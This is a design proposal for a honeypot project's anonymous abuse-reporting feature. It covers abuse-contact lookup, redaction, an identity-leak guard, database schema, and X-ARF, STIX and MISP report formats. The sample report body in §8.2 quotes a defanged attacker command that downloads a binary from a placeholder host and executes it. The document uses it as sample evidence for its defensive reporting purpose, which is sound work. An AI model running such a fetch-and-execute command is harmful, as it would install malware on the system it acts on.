M22 design: anonymous abuse reporting

Status: proposal for review. Scope: docs/ROADMAP.md, section M22. Every address, network, mailbox and host name in this document is a placeholder: documentation ranges (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24), documentation ASNs (AS64496 to AS64511, RFC 5398) and example.* names.

1. Goal, threat model and invariants

The owner wants to act as a whistleblower: report abusive sources, payload hosts and C2 servers to the networks that host them, and share indicators with national CERTs. He reviews every report and sends it himself, from an anonymous mail alias in his webmail, behind his VPN. The stack prepares text and files; it never sends anything.

What must stay hidden, from the recipient and from anyone the recipient forwards the report to (abuse desks often forward reports to their customer, i.e. the attacker):

Secret	Why it matters
The monitored system’s public address (the attacks’ destination)	It is the owner’s home address
Any name that resolves to it or describes it (reverse DNS, dynamic DNS, owner domains, the dashboard URL)	Same
The VPN exit address and endpoint	Links the collector’s fetches and the reporter
The project name and wording that fingerprints it (“SuckerPot”, “honeypot”, the sensors’ fake host names)	A web search for a phrase or name finds this public repo and its deployment notes
Internal identifiers (session ids, campaign ids and names, dashboard paths)	They link a report back to the dashboard
Credentials, API keys, private ranges, container addresses	Obvious

Accepted residual risk (stated, not solved): a report carries exact UTC times, source ports and destination ports. The source network can look these up in its own flow logs and find the destination address. The attacker knew it anyway; what they learn is that the alias reports that address. The alias is anonymous, so this links an alias to an address, not to a person. A coarse time option (§4.4) reduces precision for owners who prefer it.

Invariants:

#	Invariant	Enforced by
R1	The stack never sends mail, never submits to a CERT or a malware repository, and stores no mail credentials.	No SMTP or upload code in reporting/ or ingest/ingest/abuse/; static test (§8.3)
R2	Evidence is built from an allow-list of fields, never from raw events.	Evidence model (§4.2)
R3	Every artefact (text body, X-ARF part, .eml, STIX, MISP, bundle members and metadata) passes the identity guard immediately before it is returned. A failure returns nothing.	guard() (§7), called by the API on every render and download
R4	Reports cannot be rendered while the monitored system’s public address is unknown.	Guard precondition (§7.2)
R5	Network lookups (RDAP) go only through the M21 egress gate. Gate closed means wait.	ingest.egress.make_client + static egress test (M21 §3.3)
R6	Identifiers in artefacts are random, never derived from internal ids.	§5.5

2. Where things run

Piece	Runs in	Why
Pure logic: evidence model, redaction, identity guard, renderers (text, X-ARF, .eml, STIX 2.1, MISP), bundle builder	New shared package reporting/ (suckerpot_reporting), no I/O	Used by both ingest (builds drafts) and api (renders on demand). One implementation, one test corpus
Abuse contact lookup (RDAP), self-address learning, subject selection, draft building	Ingest background worker ingest/ingest/abuse/, flag ABUSE_REPORTS_ENABLED (default false)	Ingest already holds the egress gate, quota tables, enrichment status and the DB role that reads events. The collector is for hostile content (M21 §5.1); RDAP is ordinary enrichment
Status changes, notes, settings, renders, exports	api	The API already owns admin writes, audit, re-authentication

Rendering on demand in the API (rather than storing rendered text) means a settings change (reply contact, template wording) needs no rebuild, and the guard always runs against the latest list of self terms.

reporting/ is added to the packages variable of the justfile and to the CI python job, installed into the ingest and api images like egress/ (path dependency, COPY in both Dockerfiles). Dependencies: pydantic, pyyaml (safe dumper only), pyzipper (bundle). Dev only: stix2-validator for the STIX tests.

3. Report subjects and grouping

3.1 Three kinds of report

Kind	Subject	Selected when (defaults)	Typical recipient
attack_source	A source IP address	In the window, at least one non-benign session (benign = false, scanner_name IS NULL) and one of: ≥ ABUSE_MIN_LOGIN_ATTEMPTS (50) failed logins; a login followed by commands; a download attempt; a session tag in ABUSE_SEVERE_TAGS (default: malware-drop, mirai, crypto-miner, php2shell, exploit, any cve-*)	Abuse desk of the network that holds the IP
payload_host	A URL host (IP or domain) that served or was asked to serve a payload	An indicators row role = 'download_host', not demo, seen in a selected session; stronger evidence when fetch_targets.status = 'fetched' and a sample exists (hash, family)	Hosting network of the IP; for a domain, the registrar’s abuse contact (§3.3)
c2	An IP or domain	sample_links.kind IN ('c2_ip','c2_domain') with confidence = 'high', or indicator_contacts.confidence = 'high' (ThreatFox botnet_cc, migration 0016)	Same as payload host

Never selected: private, reserved, documentation (except demo, §9.4), loopback, multicast and CGNAT addresses; anything in the never-block list (suckerpot_db.blocklist_values, which already merges BLOCKLIST_NEVER, AUTH_TRUSTED_PROXIES, API_ALLOWED_HOSTS, INDICATORS_IGNORE and the resolver/CDN defaults); any self term (§7.1); research scanners (scanner_name set) and sessions marked benign; anything already reported (§6.4).

Kinds stay in separate reports because abuse desks route them to different queues and the X-ARF report types differ.

3.2 Grouping

One report per (recipient, kind) while it is open: all subjects of that kind whose abuse contact is the same mailbox go into one draft. The recipient, not the ASN, is the grouping key because one abuse desk often serves several ASNs and one ASN sometimes has several desks (resellers with their own abuse-c). The ASN, network name and handle are shown per subject.

The draft accumulates new evidence until the owner marks it reviewed. After that, new evidence for the same recipient and kind waits for a new draft, which opens when the reviewed one is sent or discarded. Caps per report: 100 subjects (ABUSE_MAX_SUBJECTS), oldest evidence first; the rest stays queued for the next draft.

3.3 Domains

payload_host and c2 subjects may be domain names. Ingest cannot resolve names (M21 §3.3) and the design does not add a resolver: a domain subject is reported to the registrar’s abuse contact (domain RDAP, §5.2). If the collector fetched the URL, the hosting IP is still unknown to us (the proxy resolves it), so no hosting-network report is made for domains in M22. Open question 4.

3.4 Time window

Evidence for a subject covers activity since the end of its last sent report, or the last 7 days (ABUSE_LOOKBACK_DAYS), whichever is shorter. A draft is built only when the subject’s latest activity is older than 30 minutes (ABUSE_SETTLE_MIN), so a running session is not cut in half. All times are UTC, ISO 8601 with a Z suffix.

4. Evidence: selection, redaction, caps

4.1 Principle

Evidence is an allow-list. Fields are copied one by one into a typed model; every free-text value goes through the redaction pass. There is no “include the raw event” path, so a new field in a sensor’s data can never leak by accident.

4.2 Allowed fields (suckerpot_reporting.evidence)

class Activity(BaseModel):            # one line of evidence, frozen
    ts: datetime                      # UTC
    src_ip: str; src_port: int        # the subject (attack_source) or the attacker seen fetching it
    dst_port: int; protocol: Literal["tcp", "udp"]; service: str   # "ssh", "telnet", "http", ...
    action: Literal["failed_logins", "login_then_commands", "command", "download",
                    "http_request", "exploit_attempt"]
    count: int = 1                    # aggregated lines: failed logins per (src, port, hour)
    usernames: list[str] = []         # ≤ 5, ≤ 32 chars each, redacted
    text: str | None = None           # command input, request line or URL, redacted, ≤ 200 chars
    user_agent: str | None = None     # http only, redacted, ≤ 120 chars

class Subject(BaseModel):
    type: Literal["ip", "url", "domain"]; value: str
    asn: int | None; network: str | None; country: str | None
    first_ts: datetime; last_ts: datetime; sessions: int; events: int
    activities: list[Activity]        # ≤ 10 shown per subject in the body, ≤ 200 in the CSV
    samples: list[SampleRef] = []     # sha256, sha1, md5, size, kind, arch, family

class Evidence(BaseModel):
    kind: ReportKind; recipient: str; subjects: list[Subject]
    window_start: datetime; window_end: datetime; demo: bool

Never included: the destination address (no event stores it; containers see their own bridge address), session_id, campaign ids or names, sensor names (the protocol and port are given instead, e.g. TCP/5000 (https) rather than “synology”), passwords, any sensor output (output_preview, banners, prompts, fake host names), HTTP headers other than User-Agent (never Host), request bodies, SNI, SIP To/Via/request URI, SMB share paths, MSSQL/MySQL server and database names, SSH/RDP client strings, tags, ATT&CK ids in mail bodies (they stay in STIX/MISP), abuse scores and scanner verdicts from third parties.

4.3 Redaction pass (redact(text, ctx) -> Redacted)

ctx holds the allowed addresses and hosts (the subjects of this report and the payload hosts and C2s it names) and the self terms (§7.1). Steps, in order:

1. Bound and clean: cut the input at 4 KiB; NFKC normalise; remove C0/C1 controls, ANSI escape sequences, zero-width characters and bidi controls (U+202A to U+202E, U+2066 to U+2069); replace any remaining non-ASCII character with \uXXXX. Output is printable ASCII only.
2. Decode views: build scanning views of the line: percent-decoded (twice), with \x41 and octal escapes decoded, lower-cased. Matches found in any view act on the original line.
3. Drop lines with deny terms: a line whose any view contains a self name, an owner domain, a fake sensor host name or a project term (§7.1) is removed and counted ("1 line removed"). Dropping the whole line rather than masking the word avoids leaving context such as “curl http://[removed].example.net”.
4. Mask addresses: every IPv4 (dotted, leading zeros, dashed a-b-c-d, underscored, reversed d.c.b.a), IPv6 (including IPv4-mapped, NAT64, 6to4) and integer forms after // or @ (http://3405803853/, 0xCB007171) is parsed; if it is not in the allowed set it becomes [address]. Email addresses become [email].
5. Mask host names not allowed: a host name in a URL is kept when it is a subject or a public registrable domain not in the deny set; a single-label name (no dot) becomes [host].
6. Cap: 200 characters per line, an ellipsis marks the cut; ≤ 10 lines per subject in bodies.
7. Defang (bodies only, option on by default): http → hxxp, . → [.] in hosts of URLs and in IPs that are not the report’s own subject line. X-ARF Source, STIX and MISP keep the real values (machine parsers need them).

Redacted returns the text and counters (addresses_masked, lines_dropped), shown in the review UI (“3 addresses masked, 1 line removed”), never the removed values.

4.4 Options per report

defang (default on), time_precision (second default, or minute: times truncated, failed logins aggregated per hour), include_usernames (default on), include_reply_contact (default on when a reply contact is set). Stored in abuse_reports.options.

5. Abuse contact lookup

5.1 Existing data, reused

• indicator_contacts (migration 0016) holds C2 addresses read from threat-intel answers. It is reused as a subject source for c2 reports (high confidence only), not as a contact cache: it says nothing about who hosts an address.
• sessions.asn / sessions.org (GeoLite2) give the ASN for display and the autnum fallback.
• enrichment_quota and enrichment_status hold the quota and the worker status (provider rdap, status names abuse and rdap), like every other ingest provider.

5.2 RDAP flow (ingest worker)

1. Bootstrap: IANA registry files https://data.iana.org/rdap/{ipv4,ipv6,asn,dns}.json. A snapshot ships in ingest/ingest/abuse/bootstrap/ (public data) and is refreshed weekly through the gate into rdap_bootstrap. Only https base URLs on public names are used.
2. IP subject: find a cached network whose range contains the IP (abuse_networks.cidr >>= ip, GiST index); if fresh (30 days), done. Otherwise GET {base}/ip/{ip} on the RIR from the bootstrap.
3. Find the abuse mailbox: walk entities (depth ≤ 3) for roles containing abuse, read email from the jCard vcardArray. Fallbacks in order: (a) a remarks entry mentioning abuse with a mailbox in it (APNIC style); (b) RIPE region only, RIPEstat https://stat.ripe.net/data/abuse-contact-finder/data.json?resource={ip} (the RIR’s abuse-c); (c) GET {base}/autnum/{asn} and the same walk. Nothing found: no_contact.
4. Domain subject: registrable domain (public suffix list snapshot shipped), GET {base}/domain/{name} from the dns bootstrap, registrar entity’s abuse mailbox.
5. Store the network (range, handle, name, country, RIR, ASN, up to 5 mailboxes) and the per-subject outcome.

Client rules: make_client from ingest.egress (M21), follow_redirects by hand, at most 2 hops, each to a host present in the bootstrap set; Accept: application/rdap+json; generic User-Agent (Mozilla/5.0 (compatible; rdap-client), never the project name); body cap 512 KiB; JSON parsed with the existing ingest.jsondepth guard; timeout 15 s. Mailboxes are validated (RFC 5321 length, one @, a dotted public domain, ASCII), lower-cased, de-duplicated.

Quotas and cache: hard daily quota ABUSE_RDAP_DAILY_QUOTA (1,000) and hourly ABUSE_RDAP_HOURLY_QUOTA (200) in enrichment_quota; 2 s spacing per RDAP host; positive cache 30 days per network; negative cache 24 h per subject; errors back off 15 min, 1 h, 6 h. EgressClosed spends no quota and writes no negative entry (M21 rule). Lookups are made only for subjects that already passed selection (§3.1), so the volume is tens a day, not one per attacker.

Recipients: one row per mailbox. The owner may set an override mailbox (a provider that asks for a web form or another address) or mute a recipient (unresponsive desk: no more drafts). Subjects with no_contact after 48 h appear in a “No contact found” group with a field to type a mailbox, which creates a recipient with source = 'manual'.

5.3 Report identifiers (R6)

Each report gets public_id (UUIDv4, random at creation): it is the only id in filenames, the X-ARF part and exports. STIX and MISP object ids are uuid5(id_seed, f"{type}:{value}"), where id_seed is a second random UUIDv4 stored with the report and never exported. Ids are therefore stable across regenerations of one report (a CERT can deduplicate a resubmission) and reveal nothing. Campaign exports get their own random seed per export.

6. Workflow and data model

6.1 Status

 draft ──review──► reviewed ──mark sent──► sent ──close──► closed
   ▲ │                │  └──reopen──► draft
   │ └──discard──► discarded ◄──discard─┘
   └── ingest: superseded (a regenerated report replaces an unreviewed draft)

• draft: built and updated by ingest. The owner can edit notes and options, regenerate, review.
• reviewed: the owner confirms the exact content he read. The request carries revision; a mismatch (ingest updated the draft meanwhile) answers 409 and the UI reloads. Ingest never touches a reviewed report.
• sent: marked by hand after the owner sent it from his webmail; sent_at defaults to now and may be set to an earlier UTC time. Its subjects count as reported for dedupe (§6.4).
• closed: the provider answered or the owner is done. discarded: never sent, subjects become eligible again only with new evidence.
• Demo reports (§9.4) can never become sent (database trigger).

6.2 Migration 0019_abuse_reports

CREATE TABLE rdap_bootstrap (registry text PRIMARY KEY CHECK (registry IN ('ipv4','ipv6','asn','dns')),
  body jsonb NOT NULL, fetched_at timestamptz NOT NULL);

CREATE TABLE abuse_networks (
  id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
  kind text NOT NULL CHECK (kind IN ('ip','domain')),
  cidr cidr, domain text CHECK (domain IS NULL OR char_length(domain) <= 253),
  handle text CHECK (char_length(handle) <= 100), name text CHECK (char_length(name) <= 200),
  country text CHECK (char_length(country) <= 2), rir text, asn integer,
  mailboxes text[] NOT NULL DEFAULT '{}' CHECK (cardinality(mailboxes) <= 5),
  source text NOT NULL CHECK (source IN ('rdap','rdap_remarks','ripestat','rdap_autnum','manual')),
  fetched_at timestamptz NOT NULL, expires_at timestamptz NOT NULL,
  CHECK ((kind = 'ip') = (cidr IS NOT NULL)), UNIQUE (cidr), UNIQUE (domain));
CREATE INDEX ix_abuse_networks_cidr ON abuse_networks USING gist (cidr inet_ops);

CREATE TABLE abuse_lookups (                 -- per-subject outcome and negative cache
  subject text PRIMARY KEY CHECK (char_length(subject) <= 253),
  kind text NOT NULL CHECK (kind IN ('ip','domain')),
  network_id bigint REFERENCES abuse_networks (id) ON DELETE SET NULL,
  status text NOT NULL CHECK (status IN ('found','no_contact','error','pending')),
  attempts smallint NOT NULL DEFAULT 0, checked_at timestamptz, next_check_at timestamptz);

CREATE TABLE abuse_recipients (
  id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
  mailbox text NOT NULL UNIQUE CHECK (char_length(mailbox) BETWEEN 3 AND 254),
  name text CHECK (char_length(name) <= 200),
  source text NOT NULL CHECK (source IN ('rdap','manual')),
  override_mailbox text CHECK (char_length(override_mailbox) <= 254),
  muted boolean NOT NULL DEFAULT false, first_seen timestamptz NOT NULL DEFAULT now());

CREATE TABLE abuse_reports (
  id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,       -- internal, never exported
  public_id uuid NOT NULL UNIQUE, id_seed uuid NOT NULL,    -- random v4 (§5.3)
  recipient_id bigint NOT NULL REFERENCES abuse_recipients (id),
  kind text NOT NULL CHECK (kind IN ('attack_source','payload_host','c2')),
  status text NOT NULL DEFAULT 'draft' CHECK (status IN
    ('draft','reviewed','sent','closed','discarded','superseded')),
  demo boolean NOT NULL DEFAULT false,
  window_start timestamptz NOT NULL, window_end timestamptz NOT NULL,
  subject_count integer NOT NULL DEFAULT 0,
  evidence jsonb NOT NULL CHECK (octet_length(evidence::text) <= 262144),
  revision integer NOT NULL DEFAULT 1, content_sha256 text NOT NULL,
  guard_ok boolean NOT NULL, guard_codes text[] NOT NULL DEFAULT '{}',
  redaction jsonb NOT NULL DEFAULT '{}',                    -- counters only
  options jsonb NOT NULL DEFAULT '{}',
  notes text CHECK (notes IS NULL OR char_length(notes) <= 4000),
  created_at timestamptz NOT NULL DEFAULT now(), updated_at timestamptz NOT NULL DEFAULT now(),
  reviewed_at timestamptz, reviewed_by text, reviewed_revision integer,
  sent_at timestamptz, sent_by text, closed_at timestamptz, closed_by text);
CREATE UNIQUE INDEX ux_abuse_reports_open ON abuse_reports (recipient_id, kind)
  WHERE status IN ('draft','reviewed');          -- one open report per recipient and kind
CREATE INDEX ix_abuse_reports_status ON abuse_reports (status, updated_at DESC);

CREATE TABLE abuse_report_subjects (
  report_id bigint REFERENCES abuse_reports (id) ON DELETE CASCADE,
  subject_type text NOT NULL CHECK (subject_type IN ('ip','url','domain')),
  value text NOT NULL CHECK (char_length(value) <= 1024),
  network_id bigint REFERENCES abuse_networks (id) ON DELETE SET NULL,
  first_ts timestamptz NOT NULL, last_ts timestamptz NOT NULL,
  sessions integer NOT NULL, events integer NOT NULL,
  PRIMARY KEY (report_id, subject_type, value));
CREATE INDEX ix_abuse_report_subjects_value ON abuse_report_subjects (subject_type, value);

CREATE TABLE abuse_report_requests (          -- api asks, ingest does (like provider_test_requests)
  id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
  report_id bigint REFERENCES abuse_reports (id) ON DELETE CASCADE,
  action text NOT NULL CHECK (action IN ('regenerate','lookup_again')),
  requested_by text NOT NULL, requested_at timestamptz NOT NULL DEFAULT now(),
  done_at timestamptz, outcome text CHECK (char_length(outcome) <= 64));

CREATE TABLE report_settings (                -- one row; never in .env
  id smallint PRIMARY KEY DEFAULT 1 CHECK (id = 1),
  reply_contact text CHECK (char_length(reply_contact) <= 254),
  signature text CHECK (char_length(signature) <= 200),
  intro text CHECK (char_length(intro) <= 1000), outro text CHECK (char_length(outro) <= 1000),
  xarf_user_agent text CHECK (char_length(xarf_user_agent) <= 64),
  defaults jsonb NOT NULL DEFAULT '{}',          -- default options of §4.4, TLP of exports
  revision integer NOT NULL DEFAULT 1, updated_at timestamptz, updated_by text);

CREATE TABLE report_self_terms (              -- what must never appear (§7.1)
  id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
  kind text NOT NULL CHECK (kind IN ('address','cidr','name','text')),
  value text NOT NULL CHECK (char_length(value) BETWEEN 2 AND 253),
  source text NOT NULL CHECK (source IN ('learned','manual')),
  distinct_sources integer NOT NULL DEFAULT 0,
  first_seen timestamptz NOT NULL DEFAULT now(), last_seen timestamptz NOT NULL DEFAULT now(),
  confirmed boolean NOT NULL DEFAULT false,
  UNIQUE (kind, value));

Triggers (owner-defined functions, SECURITY INVOKER):

• abuse_reports_transition (BEFORE UPDATE): only the transitions of §6.1; superseded only from draft; sent refused when demo; when the role is the ingest role, refuse any update unless OLD.status = 'draft', and refuse changes to the status columns other than draft → superseded.
• abuse_reports_touch: updated_at = now(); revision = revision + 1 when evidence changes.

Retention: the existing retention job (owner-run function, like M18) deletes discarded and superseded reports after 90 days and sent/closed reports after ABUSE_REPORT_RETENTION_DAYS (default 730; dedupe needs history). Learned self terms are never deleted: an old home address still identifies the owner.

Plain tables, not hypertables: tens of rows a day.

6.3 Roles (db/suckerpot_db/roles.py; only migrate changes the schema)

Table	suckerpot_ingest	suckerpot_api
rdap_bootstrap, abuse_networks, abuse_lookups	SELECT, INSERT, UPDATE, DELETE	SELECT
abuse_recipients	SELECT, INSERT, UPDATE (name)	SELECT, INSERT (manual), UPDATE (override_mailbox, muted)
abuse_reports	SELECT, INSERT, UPDATE (all but the review/sent/close columns and notes), trigger-limited to drafts	SELECT, UPDATE (status, notes, options, reviewed_*, sent_*, closed_*)
abuse_report_subjects	SELECT, INSERT, DELETE	SELECT
abuse_report_requests	SELECT, UPDATE (done_at, outcome)	SELECT, INSERT
report_settings	SELECT	SELECT, INSERT, UPDATE
report_self_terms	SELECT, INSERT, UPDATE with RLS source = 'learned'	SELECT, INSERT, UPDATE (confirmed), DELETE with RLS source = 'manual' for INSERT/DELETE
enrichment_quota, enrichment_status	existing	existing

The API needs SELECT on report_self_terms to run the guard. The collector and analyzer roles get nothing new. Column-level grants plus the transition trigger mean a compromised API cannot rewrite evidence and a compromised ingest cannot mark a report sent.

6.4 Dedupe

A subject is not put in a new draft for the same recipient and kind if it appears in a sent or closed report of that recipient and kind whose window_end is later than the subject’s new activity, or whose sent_at is less than ABUSE_RESEND_DAYS (default 14) ago. New activity after the cooldown produces a new draft that says so (“previously reported on 2026-10-12”). A subject in an open draft is updated in place. The query uses ix_abuse_report_subjects_value.

7. Automated identity check

7.1 The deny set (SelfTerms)

Built by load_self_terms(db, env) in both ingest and api, cached 60 s:

Source	Terms
report_self_terms	learned and manual addresses, CIDRs, names, free text
Learned at runtime (ingest, §7.3)	public IP literals and names seen as the HTTP Host, TLS SNI or SIP request URI/To host
enrichment_status row egress	the VPN exit address seen by the gate (M21)
Env (already present in ingest; added to api)	API_ALLOWED_HOSTS, hosts of API_ALLOWED_ORIGINS and ALERTS_DASHBOARD_URL, INDICATORS_IGNORE, BLOCKLIST_NEVER, AUTH_TRUSTED_PROXIES, VPN_WG_ENDPOINT_IP, SSH_HOSTNAME, RDP_HOSTNAME, SMB_HOSTNAME, SMB_DOMAIN, WEB_HOSTNAME
Built in (code)	project terms suckerpot, sucker pot, sucker-pot, sucker_pot, honeypot, honey pot, honey-pot, honeynet; the sensors’ default fake host names and banners’ distinctive tokens (one list, imported from a constant the sensors’ defaults are tested against)
Always forbidden	private, loopback, link-local, CGNAT, ULA, multicast and reserved addresses; documentation ranges unless the report is demo; the dashboard paths /attacks/, /campaigns/, /api/v1/

Each address expands to its encodings (dotted, dashed, underscored, reversed dotted and dashed, decimal integer, 0x hex, percent-encoded dots, IPv4-mapped IPv6 text, base64 of the dotted form at the three alignments). Each name expands to its labels joined by ., - and [.]. Matching is case-insensitive on NFKC-normalised text with zero-width and bidi characters removed, and also on a “skeleton” (confusable characters folded, e.g. Cyrillic о to o) for the project terms.

7.2 guard(artefact, terms) -> GuardResult

• Input: the exact bytes about to be returned, plus a format hint. Views checked: the raw bytes (UTF-8 and UTF-16LE decoded), JSON-unescaped strings (for STIX/MISP, every string value recursively), MIME parts decoded (quoted-printable, base64) for .eml, every zip member name, comment and text member for bundles.
• Output: ok and a list of constant reason codes (self_address, self_name, owner_domain, vpn_address, project_term, private_address, documentation_address, dashboard_path, internal_id). Never the matched value: the response, logs and audit carry codes and counts only.
• Preconditions (fail closed, code no_self_address): at least one confirmed self address exists (learned with distinct_sources ≥ 3, or manual). Without it nothing can be rendered and the UI says why. self_terms_unavailable when the table cannot be read.
• internal_id: any session id from the report’s own sessions (the builder passes them in the context) and the report’s internal integer id.
• Bundles: each sample’s bytes are scanned for the self terms in ASCII and UTF-16LE (a dropper script generated per victim may embed the victim’s address). A hit excludes that sample from the bundle (reason shown) instead of failing the whole bundle.

Where it runs: ingest at draft build (stores guard_ok, guard_codes); the API on every render, download and export, after rendering and before returning (R3). A failure answers 409 {"code": "identity_guard_failed", "reasons": [...]}.

7.3 Learning the monitored system’s address

No event stores a destination address, and the stack must not ask an outside service for it (that would be a connection from the home address, M21 §3.4). Mass scanners that address a server by IP put that IP in the HTTP Host header, the TLS SNI (rarely) or the SIP request URI. Every hour the abuse worker scans the last hour of http_request and SIP events (bounded by time on the hypertable), extracts public IP literals and names from those fields, and upserts them as learned terms with the count of distinct source IPs. confirmed becomes true at ≥ 3 distinct sources within 7 days. A false positive (an attacker sending someone else’s address in Host) only over-redacts, which is the safe direction. Settings shows learned terms masked (203.0.•••.•••) with a reveal button for admins, and lets the admin add manual ones (e.g. after an ISP address change, before traffic teaches it).

7.4 Tests

• reporting/tests/corpus/planted.yaml: each case is a field value with a planted leak, using placeholder self values (self address 203.0.113.77, owner domain dashboard.example.net, dynamic name host-203-0-113-77.dyn.example.com, VPN exit 198.51.100.200, fake host name srv-web01). Cases: every encoding of §7.1; leak in a URL query; in a Host value; in a username; in a User-Agent; split by zero-width characters; fullwidth and Cyrillic look-alikes of the project name; honeypot inside a detection script; a dashboard URL; a session id; private and container addresses; bidi override that hides text. For each: (a) the redaction pass removes it from evidence; (b) planted directly into every renderer’s output (bypassing redaction), the guard fails with the expected code; (c) the guard output never contains the planted value.
• clean.yaml: realistic evidence that must pass unchanged (false-positive control), including subjects in the documentation ranges with allow_documentation=True.
• Renderer golden files (text, X-ARF, .eml, STIX, MISP) built from a fixed evidence object; STIX validated with stix2-validator; X-ARF parsed back with yaml.safe_load and checked against the vendored schema (§8.1); MISP checked against a minimal JSON schema in the tests.
• Static test (reporting/tests/test_static.py, ingest/tests/test_abuse_static.py): no smtplib, no email.mime sending path, no HTTP client in reporting/, and the literals suckerpot and honeypot appear in reporting/ source only in the deny-term module.
• Live check just abuse-guard-check (§9.3).

8. Formats

8.1 X-ARF

X-ARF v0.2 (xarf.org, YAML second MIME part, header X-ARF: YES) is still the format most abuse parsers accept by mail. XARF v4 (JSON) is newer but less widely parsed by smaller providers; it is open question 1. The vendored JSON schemas from xarf.org go in reporting/suckerpot_reporting/xarf/ (licence to check before vendoring; if incompatible, a hand-written field check instead), and the implementer confirms field names and required fields against them.

X-ARF v0.2 has one Source per report. So:

• One subject: a full X-ARF message (body part, YAML part report.txt, evidence part evidence.txt).
• Several subjects: one human summary message with a CSV attachment (evidence.csv), and on request one X-ARF message per subject (render?format=xarf&subject=…) for providers that ask for it.

YAML part (generated with yaml.safe_dump, never string concatenation):

Field	attack_source	payload_host / c2
Reported-From	the reply contact (required; without it the X-ARF render is unavailable and the UI says so)	same
Category / Report-Type	abuse / login-attack (failed logins only) or the schema’s attack type for exploitation	abuse / malware distribution type per schema
Service, Port	ssh / 22 etc.	http / port of the URL
Source, Source-Type	IP, ipv4/ipv6	URL or IP, uri/ipv4
Date	first event, RFC 2822, +0000	first sighting
Occurrences	events in the window	sightings
User-Agent	report_settings.xarf_user_agent, default xarf-report/0.2 (generic)	same
Version, Schema-URL, Attachment	0.2, schema URL, text/plain	same
Destination*	never emitted. If a schema requires it, that report type is not used and plain text is offered instead	same

8.2 Plain text and .eml

Subject (CR/LF stripped, ≤ 150 chars): Abuse report: SSH brute force from 198.51.100.23 (AS64500) or Abuse report: 7 addresses in your network attacked a monitored system (2026-10-30).

Body (intro and outro are owner-editable in Settings; the defaults below are bland on purpose):

Hello,

The addresses below, announced by your network, attacked a monitored system.
All times are UTC. The destination address is withheld; source ports and exact
times are given so you can match your flow records.

198.51.100.23 (AS64500, EXAMPLE-NET)
  2026-10-30T14:02:11Z to 2026-10-30T15:40:02Z, TCP/22 (ssh)
  - 412 failed logins (usernames tried: root, admin, ubnt)
  - 2026-10-30T15:39:58Z logged in, then ran:
      cd /tmp; wget hxxp://203.0.113[.]9/bins/x86; chmod +x x86; ./x86
  (1 line removed, 2 addresses masked)

Please investigate and stop this activity.

Reply contact: <reply contact, if chosen>
<signature, if set>

.eml download (optional, for clients that open drafts): headers To, Subject, X-ARF: YES (X-ARF only), MIME-Version, Content-Type; parts in 7bit/8bit text so the guard reads them as sent. No From, Date, Message-ID, User-Agent or X-Mailer: the owner’s webmail adds its own. Most webmails cannot open .eml drafts, so the main path is copy buttons (To, Subject, Body) plus downloading report.txt / evidence.csv to attach.

Fingerprinting by wording: the default text lives in this public repo, so a recipient could search for it. Settings shows a notice while intro and outro are unchanged, and the review screen repeats it (“Your report uses the default wording”). Open question 2: make a custom intro mandatory.

8.3 STIX 2.1 and MISP (for CERTs)

Scope: one report, one campaign, or a time window (≤ 31 days, ≤ 5,000 objects). Built by the API from the DB with the same evidence builder (shared package) and the same redaction.

STIX 2.1 bundle: indicator (pattern [ipv4-addr:value = '…'], [url:value = '…'], [file:hashes.'SHA-256' = '…'], valid_from = first seen), ipv4-addr/url/domain-name/file SCOs, malware (family, is_family: true) with relationship objects (indicates, uses), attack-pattern with MITRE external_references, marking-definition TLP 2.0 (default TLP:GREEN, chosen at export). No identity object and no created_by_ref; no custom x_ properties; created/modified = export time; descriptions are generic (“Observed by a monitored system”). Campaign names are internal and replaced by “Activity cluster” plus the first 8 hex of the export’s random id.

MISP event JSON: {"Event": {uuid, info, date, threat_level_id, analysis: 2, distribution: 0, published: false, Tag: [{"name": "tlp:green"}], Attribute: [...]}} with ip-src (Network activity), url and domain (Payload delivery or Network activity), sha256/sha1/md5/tlsh (Payload delivery), to_ids true for addresses, URLs and hashes, first_seen/last_seen. No Org, Orgc, event_creator_email or sharing_group: MISP sets them on import.

8.4 Sample bundle (public malware repositories)

POST /api/v1/abuse/exports/samples (admin, re-authentication like the M21 archive, 5 per hour): up to 10 sha256 values, stored samples only, ≤ 64 MiB in total. Returns one AES-256 zip (pyzipper, password infected) with <sha256>.bin per sample and hashes.csv (sha256, sha1, md5, tlsh, size, kind, arch, family, first_seen UTC). Zip metadata is neutral: every entry’s timestamp is 1980-01-01 00:00:00, no comment, no extra fields, fixed member order. Samples that fail the byte scan (§7.2) are left out and listed in the response header X-Excluded: 1 and the UI. The owner uploads the file himself; nothing is uploaded automatically. The archive code of api/api/samples.py is moved into reporting/ (build_encrypted_zip) and reused by both endpoints.

Filenames: abuse-<public_id[:8]>.txt, abuse-<public_id[:8]>.eml, report.txt, evidence.csv, indicators-<export_id[:8]>.stix.json, indicators-<export_id[:8]>.misp.json, samples-<export_id[:8]>.zip. Never the project name (the blocklist exports’ suckerpot- prefix is not reused here).

9. API and UI

9.1 API (api/api/abuse.py, api/api/abuse_exports.py)

GET routes are open to both roles (read-only); every other method is admin-only by the default-deny rule of api/authz.py. Cursor pagination (limit ≤ 100) on every list.

Method	Path	Notes
GET	/api/v1/abuse/status	Worker enabled, gate state, RDAP quota, self address known yes/no (never the value), counts per status, subjects waiting for a contact
GET	/api/v1/abuse/reports	Filters status, kind, recipient, demo; sort updated_at desc
GET	/api/v1/abuse/reports/{public_id}	Evidence summary, subjects (with internal links for the UI only), guard result, redaction counters, revision, history
GET	/api/v1/abuse/reports/{public_id}/render	`format=text
GET	/api/v1/abuse/reports/{public_id}/download	`format=txt
POST	/api/v1/abuse/reports/{public_id}/status	{to, revision, sent_at?}; 409 on revision mismatch or invalid transition; audit abuse.status (from, to)
PATCH	/api/v1/abuse/reports/{public_id}	notes, options (draft and reviewed only)
POST	/api/v1/abuse/reports/{public_id}/regenerate	Inserts a request; a reviewed report returns to draft
GET / PATCH / POST	/api/v1/abuse/recipients[/{id}]	List; mute, override mailbox; manual mailbox for a no-contact subject
GET / PUT	/api/v1/abuse/settings	GET is admin-only (require_admin: the alias is the owner’s); PUT validates every text field through the guard (an alias on an owner domain is refused with the reason code). Audit records changed: [field names], never values
GET / POST / PATCH / DELETE	/api/v1/abuse/self-terms	Admin-only, masked unless reveal=true; audit without values
